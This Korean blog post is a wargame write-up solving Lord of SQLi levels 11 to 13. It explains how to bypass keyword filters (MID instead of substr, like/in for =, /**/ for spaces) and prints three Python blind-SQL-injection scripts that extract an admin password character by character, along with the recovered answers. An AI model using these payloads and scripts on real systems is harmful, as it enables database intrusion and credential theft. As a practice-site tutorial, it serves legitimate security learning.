안녕하세요! 이번에도 SQLi 전용 사이트에 있는 문제들을 풀어보겠습니다.
11번
or이랑 and이랑 substr(, = 을 못쓰게 했네요! 그리고 4번 문제처럼 또 id가 admin인 pw을 써야만 합니다.
그럼 간단하죠 파이썬 코드에 substr이 아닌 substring(을 쓰고 or 대신 || , and 대신 && 그리고 = 대신 like 쓰면
문제가 해결될 거 같습니다.
전에 작성한 코드에서 url이랑 기호들을 바꾸겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1 #1번째 자리부터 찾기 용
start = 32 #공백(spacebar) 부터 비교 시작
end = 126 #'~'까지 비교
value = ""
while True :
mid = int((start+end)/2)
data = {
"pw": blind_query.format(query, s, 0)
} #먼저 아스키 코드가 0인지 식별
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
break
else :
data = {
"pw": blind_query.format(query, s, mid),
} #POST로 보낼 값 각각 작성
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value not in response.text :
end = mid #거짓이면 끝 값을 mid로 바꾼다
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
s+=1 #그리고 다음 자리 찾는다
start = 32 #초기화
end = 126 #초기화
print(value) #잘되는지 확인용
return value
blind_query = "' || (id like 'admin' && ascii(substring(({}),{},1))>{} )&& '1'like'1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
= 대신 like 이용하셔도 기능은 똑같아요! 다만 정확한 정보를 찾을 땐 =이 확실해요
실행해 보겠습니다.
이제 pw에 77d6290b 입력해서 보내겠습니다.
pw=77d6290b
다음!
12번 문제
이번에는 pw랑 no에 입력을 하는데
no값에 substr 단어 랑 ascii 코드랑 = 이 못 들어가네요 pw에는 '(작은 따옴표) 가 안되고요
정답은 pw만 입력 잘하면 admin이 나오게 되어서 이 문제 풀릴텐데..
파이썬 코드를 이용해서 하려고 하니 no에 substring과 아스키코드 비교를 못하네요...
그럼 pw에 이용하려고 했더니 '(작은 따옴표) 가 안되네요
no에서도 ' 이용이 불가합니다.
그럼.. 어떻게 하면 좋을까요
자세히 보니 no에 OR 구문이 사용 가능하네요!
그럼 한 번 이렇게 작성해 볼게요
pw=1&no=1 OR id like "admin"
' 가 안되면 "을 대신 이용하면 되죠
그리고.. ascii 랑 substring이 안되니 새로운 함수를 만들어야 되겠습니다. MID 함수을 이용하겠습니다.
MID(pw,1,1) 만약 이렇게 작성하면 1번째부터 1 글자를 뽑는 겁니다.
MID(pw,2,1) 이거는 2번째부터 1글자 출력하는 거예요.
그러니 간단히 말씀드려서 = 대신 like, ' 대신 " , substring 대신 mid 을 이용하겠습니다.
이걸 그대로 제가 짠 파이썬 코드에 대입하면 중간중간에 걸리는 아스키코드 때문에 오류가 발생해요..
예를 들어 .이나 _ 같은 값이 들어오면 코드가 그걸 구별 못해요.
그러니 그냥 일일이 0부터 Z까지 넣고 비교하는 함수를 따로 만들겠습니다.
-BlindSQLi_For.py
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(8) : #길이 8
for i in range(ord('0'), ord('z')) :
data = {
"pw": '1',
"no": blind_query.format(query, s, chr(i))
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
print(response.request.url)
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = '1 OR id like "admin" AND MID({},{},1) like "{}"' #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
실행해 보겠습니다.
아무래도 이진탐색을 할 땐 중간 값에서 이 수 보다 큰지 작은지 비교를 해야 되는데
만약 mid 값이 '(작은 따옴표) 일 때 hello admin이 나와서 참이 돼야 되는데
preg_math 때문에 HeHe 가 나오면 거짓으로 판별하게 되어서 꼬이게 됩니다.
그러니 저렇게 중간에 방해가 있으면 이 일일이 넣는 파이썬 코드를 사용하겠습니다.
느리긴 하지만요
그래서 답을 입력하겠습니다.
pw=0B70Ea1F
아마 안되실 거예요 왜냐하면 MYSQL은 대소문 자을 구별을 안 하다 보니 일일이 넣을 때
대소문자 상관없이 나오게 됩니다.
그러니 전부 소문자로 바꾼 뒤 입력하겠습니다.
pw=0b70ea1f
재밌네요! 이제 다음 문제로 가보겠습니다.
다음 문제!
13번 입니다.
no에 거의 다 막아 놨네요. 그래도 저희는 우회를 할 겁니다!
or, and 대신 || 와 &&을 사용하면 되고요 그리고 substring이 안되니 mid나 instr을 이용하면 됩니다!
띄어쓰기도 막아놨으니 괄호 혹은 /**/을 이용하면 되겠죠!
=, like 대신 in을 이용하면 되구요
INSTR 함수 란?
[Oracle] - 오라클 INSTR 함수(문자열에서 문자 인덱스(위치) 반환) 사용법
#오라클 INSTR 함수(문자열에서 문자 인덱스(위치) 반환) 사용법 #INSTR 함수를 사용하여 문자열의 특정 문자의 위치(인덱스)를 찾을 수 있습니다. #실습 -대소문자를 구분합니다. -인덱스는 1부터 시
pingfanzhilu.tistory.com
간단하게 말씀드리면 문자열에 특정 문자열이 포함되어 있으면 어디에 위치하는지 알려 주는 겁니다
일단 길이부터 확인하겠습니다.
pw=1&no=1/**/||/**/(id/**/in/**/("admin")/**/&&/**/length(pw)/**/in/**/8) 통해 8글자인 것을 찾았습니다.
결국 띄어쓰기는 /**/, like 대신 in을 쓰면 됩니다.
pw='1'&no=1/**/||/**/(id/**/in/**/("admin")/**/&&/**/MID(pw,1,1)/**/in/**/("0"))
보기 불편하실 거예요 공백만 치환하면
pw='1'&no=1 || (id in ("admin") && MID(pw,1,1) in ("0")) 이렇게 되죠.
늘 그랬다시피 파이썬 코드에 넣겠습니다. 일일이 넣는 파이썬 코드에다가 수정하겠습니다.
왜냐하면 예외 되는 특수기호들이 너무 많으니깐요!
-BlindSQLi_For.py
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(8) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"pw": '1',
"no": blind_query.format(query, s, chr(i))
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = '1/**/||/**/(id/**/in/**/("admin")/**/&&/**/MID({},{},1)/**/in/**/("{}"))' #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
실행해 보겠습니다.
일일이 넣다 보니 오래 걸릴 거예요.
대소문자들을 소문자로 바꾸고 52dc3991 이 답인 것을 알 수 있습니다!
pw=52dc3991
'워게임' 카테고리의 다른 글
los rubiya -17,18풀이 (0) | 2023.05.15 |
---|---|
los rubiya -14,15,16 풀이 (0) | 2023.05.14 |
los rubiya -6,7,8,9,10 풀이 (0) | 2023.05.11 |
los rubiya -1,2,3,4,5 풀이 (2) | 2023.05.10 |
해킹 전용 사이트 만들기 - 1 (SQLi) (0) | 2023.05.08 |